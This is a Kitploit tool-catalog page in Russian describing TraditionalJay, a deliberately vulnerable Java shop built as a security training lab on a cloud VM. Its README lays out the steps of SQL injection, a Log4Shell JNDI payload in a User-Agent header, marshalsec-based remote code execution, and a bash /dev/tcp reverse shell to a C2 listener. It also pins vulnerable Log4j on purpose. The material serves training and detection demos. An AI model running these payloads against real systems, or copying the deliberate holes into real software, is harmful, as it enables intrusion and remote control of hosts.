Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
TraditionalJay — Преднамеренно уязвимый Java-магазин, размещённый на виртуальной машине — лаборатория для практикума Log4Shell (CVE-2021-44228) (EC2 / Azure VM / GCE) | Kitploit
Инструменты/GitHubGitHub/astraljays/traditionaljay
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность облачных средКомандование и УправлениеОбучение и ОбразованиеЛаборатории и Практика
GitHubastraljays/traditionaljay

TraditionalJay

Преднамеренно уязвимый Java-магазин, размещённый на виртуальной машине — лаборатория для практикума Log4Shell (CVE-2021-44228) (EC2 / Azure VM / GCE)

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

TraditionalJay

Умышленно уязвимый классический / традиционный магазин для обучающих семинаров по безопасности — Java на ВМ (EC2, Azure VM или GCP Compute Engine), а не контейнеры.

Основная сюжетная линия: Критическая компрометация ВМ — SQL-инъекция → Log4Shell (CVE-2021-44228) → обратная оболочка к внешнему C2.

[!CAUTION] Не развертывайте в аккаунтах для продакшена. Держите ВМ эфемерными и ограниченными сетью вашей лаборатории.

Зачем это существует

Магазин Surf Shop от Jay охватывает облачные среды выполнения (ECS / ACA / GKE). TraditionalJay охватывает направление хост / ВМ:

Surf ShopTraditionalJay
ВычисленияКонтейнеры / бессерверныеОдна Linux ВМ
СтекNext.js + PythonSpring Boot + Log4j2
Главная уязвимость (CVE)Pillow, React2Shell, YAML, …Log4Shell

Быстрый старт (локально)

root@kitploit:~
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security

Требуются Java 11+ и Maven.

Критическая компрометация ВМ

  1. SQL-инъекция — конкатенация строк в SQLite на /search выгружает таблицу secrets.
  2. Log4Shell — JNDI LDAP-запрос Log4j 2.14.1 к вашему слушателю.
  3. Обратная оболочка → C2 — короткоживущий вызов bash /dev/tcp к вашему C2-слушателю.
root@kitploit:~
# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444

# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
  --data-urlencode "ldap_callback=YOUR_IP:1389" \
  --data-urlencode "c2_callback=YOUR_IP:4444" | jq .

Log4Shell — полное RCE (песочница)

Только проверка (доказывает исходящий LDAP-запрос):

root@kitploit:~
python3 tools/ldap-listen.py --port 1389

Полное RCE (marshalsec LDAP + удаленный Exploit.class; ВМ намеренно запускается с trustURLCodebase=true):

root@kitploit:~
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP

Затем откройте /security, установите LDAP callback на YOUR_PUBLIC_IP:1389, нажмите Run Log4Shell. В случае успеха ВМ получает /tmp/jss-log4shell-rce, /tmp/jss-log4shell-id.txt и ~45-секундный интерактивный bash (PTY через script, если доступно) для демонстрации сенсора хоста.

Вы также можете выполнить поиск с поддельным User-Agent:

root@kitploit:~
curl -s "http://localhost:8080/search?q=wax" \
  -H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null

Сенсор хоста Upwind (первая загрузка)

Передайте учетные данные Upwind через локальный terraform.tfvars (игнорируемый git). Cloud-init экспортирует их, а scripts/install-vm.sh запускает scripts/install-upwind-sensor.sh.

Память: scanner-v2=true требует ~7 ГБ свободной ОЗУ во время установки (не диск). Стандартный Terraform для AWS использует t3.large (8 ГБ) + 40 ГБ gp3 корневого диска, чтобы сканер не был пропущен (Skipping scanner installation, requires 7000000 kB на меньших инстансах).

root@kitploit:~
curl -s https://get.upwind.io/sensor.sh | \
  UPWIND_CLIENT_ID=… \
  UPWIND_CLIENT_SECRET=… \
  UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
  bash -s

Пример AWS infrastructure/aws/terraform.tfvars:

root@kitploit:~
upwind_client_id          = "…"
upwind_client_secret      = "…"
upwind_agent_extra_config = "scanner-v2=true"

Если учетные данные пусты, приложение всё равно устанавливается, а шаг с сенсором пропускается.

CI

Рабочий процесс GitHub Actions .github/workflows/build.yml:

  • push / PR / вручную → Maven пакет + загрузка JAR-артефакта
  • тег v* → Релиз GitHub с fat JAR

ВМ предпочитают последний JAR-релиз через scripts/install-vm.sh и возвращаются к локальной сборке Maven, если релиз ещё не существует. Затем установщик распаковывает fat JAR в /opt/traditionaljay/BOOT-INF/lib/ и запускает JarLauncher, чтобы хост/безагентный SCA мог видеть log4j-core-2.14.1.jar на диске (запуск только java -jar app.jar вкладывает Log4j внутрь zip-архива и часто скрывает CVE-2021-44228 от инвентаризации пакетов).

root@kitploit:~
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0

Развертывание на облачной ВМ

Каждая облачная папка является самостоятельным Terraform. При первой загрузке выполняется scripts/install-vm.sh (OpenJDK 11 + Release JAR или сборка Maven + systemd).

AWS (EC2)

root@kitploit:~
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url

Azure (VM)

root@kitploit:~
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url

GCP (Compute Engine)

root@kitploit:~
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url

Первая загрузка занимает несколько минут, пока Maven собирает проект на инстансе. Затем откройте http://PUBLIC_IP:8080/security.

Структура

root@kitploit:~
app/                     Магазин Spring Boot + интерфейс Log4Shell /security
tools/ldap-listen.py     LDAP-слушатель только с баннером (доказательство исходящего вызова)
tools/run-log4shell-ldap.sh  Полное RCE LDAP + HTTP-сервер codebase
tools/exploit/Exploit.java   Удаленный класс полезной нагрузки для marshalsec
scripts/install-vm.sh    Cloud-init / ручной установщик ВМ
infrastructure/aws|azure|gcp

Примечания по безопасности

  • Демонстрационный путь использует marshalsec LDAPRefServer + tools/exploit/Exploit.class для реального Log4Shell RCE в изолированных песочницах.
  • Флаг JVM -Dcom.sun.jndi.ldap.object.trustURLCodebase=true установлен намеренно (отключен по умолчанию на Java 11+).
  • Только баннерный ldap-listen.py остается для доказательства исходящего LDAP-вызова без выполнения кода.
  • Стандартные брандмауэры разрешают 0.0.0.0/0 на 22/8080 — затяните *_ingress_cidr / диапазоны источников для общих лабораторий.
  • Версия намеренно зафиксирована на Log4j 2.14.1. Не «исправляйте» её, не заменив упражнение.
Скачать инструмент